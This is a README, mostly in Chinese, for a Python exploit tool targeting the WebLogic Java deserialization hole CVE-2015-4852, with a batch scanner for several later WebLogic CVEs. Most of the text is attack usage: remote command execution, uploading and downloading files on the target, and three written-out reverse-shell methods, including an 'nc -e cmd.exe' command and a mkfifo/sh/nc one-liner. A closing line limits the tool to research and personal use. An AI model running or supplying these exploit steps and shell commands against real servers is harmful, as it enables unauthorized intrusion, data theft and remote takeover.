/weblogic_unserialize_exploit

java unserialize vul for weblogic exploit

Primary LanguagePython

weblogic unserialize exploit

java反序列化漏洞(CVE-2015-4852)的weblogic exploit命令回显exp

1.依赖组件

  • python 2.7
  • java

2. 程序说明

  • exploit方法来源于Freebuf的”Java反序列化漏洞之weblogic本地利用实现篇”,基于rebeyond大牛的研究和反编译WebLogic_EXP.jar实现的。
  • 与rebeyond的方法相比,只提取了WebLogic_EXP.jar中用到的少数几个java class,使用python脚本来实现exploit。
  • 根据网上和自己测试的weblogic反序列化漏洞,完善了CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628和CVE-2018-2893的批量检测脚本(weblogic_check_vuls.py)(2018.7.20)

3.使用说明

  • python exp:
weblogic.py [-h] -u HOST -p PORT -os {win,linux} -t {verify,exploit}
                   [--silent]

optional arguments:
  -h, --help            show this help message and exit
  -u HOST, --host HOST  weblogic host
  -p PORT, --port PORT  host port
  -os {win,linux}, --os_type {win,linux}
                        os type
  -t {verify,exploit,reverse_shell}, --exp_type {verify,exploit,reverse_shell}
                        exploit type; verify to check the vul,the exploit mode
                        can run cmd and get the result
                        reverse_shell can get shell
  --silent              don't show the verbose message
 
 verify :只执行一次whoami命令,验证是否漏洞存在
 exploit:远程命令执行模式,运行putfile、getfile和命令远程运行和回显
 reverse_shell:反弹shell(需要设定--LHOS和--LPORT参数)
 --LHOST LHOST         reverse shell to the host ip
 --LPORT LPORT         reverse shell to host port
 
 exploit模式下可以进行文件的下传和下载:	
 		上传文件:putfile [localfile] [remotefile]
	    下载文件:getfile [remotefile] [localfile]
		
  • 远程执行命令是通过java的RMI来实现的
java -jar shellApp.jar [host] [port] [os] [cmd]
	OS:win|linux
	CMD: putfile [localfile] [remotefile]
		 getfile [remotefile] [localfile]
		 [windows or linux cmd]
  • 程序在windows/linux/mac下测试通过,weblogic版本为10.3.6。

4.payload_bin说明

  • payload_bin下面的各种payload是用于向weblogic通过t3协议发送的反序列化内容,由通过执行genPayload.class产生的,执行命令为:

    java -jar genPayload.jar [OS] [Payload_Type] OS:win|linux Payload_Type:upload_inst|inst|upload_uninst|uninst|delete|upload_reverse|reverse

5.反弹shell

  • 方法一:
1、在本机上监听,等待shell反弹
		
		nc -l 8080
		
2、命令行反弹shell
		
		./weblogic.py -u 192.168.56.104 -p 7001 -os win -t reverse_shell --LHOST 192.168.56.101 --LPORT 8080
		
		--LHOST与--LPORT分别是要反弹获得shell的主机地址和端口

本方法是采用t3协议直接将java程序发包到服务器上后直接反弹shell,是最方便的一种。感谢Rstar提供的实现,我稍做了修改以匹配exp的实现。
  • 方法二:
1、用weblogic.py exploit到weblogic服务器

2、上传payload_bin目录下的的nc.exe(windows主机);或修改reverse_shell.py的LHOST和LPORT(linux主机)后上传到服务器。

		exploit>putfile payload_bin/nc.exe c:\windows\temp\nc.exe (windows主机)
		exploit>putfile payload_bin/reverse_shell.py /tmp/rs.py (linux主机)

3、在本机上监听,等待shell反弹

		nc -l 8080
		
4、通过exploit执行远程命令反弹shell

		exploit>c:\windows\temp\nc.exe -e cmd.exe remote_ip 8080 (windows主机)
		exploit>python /tmp/rs.py (linux主机)
  • 方法三:(linux)
1、在本机上监听,等待shell反弹
		
		nc -l 8080
		
2、通过exploit执行远程命令反弹shell
		
		exploit>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc remote_ip 8080 >/tmp/f

6.weblogic反序列化漏洞批量检测脚本

usage: weblogic_check_vuls.py [-h] [-f FILE] [-t TARGET] [-p PORT]

weblogic scanner

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  read target ip from file
  -t TARGET, --target TARGET
                        target ip
  -p PORT, --port PORT  server port,default is 7001
You must set target ip or file!

7.其它

  • 本程序只用于技术研究和个人使用,来源于网络、分享于网络,欢迎各位大牛继续完善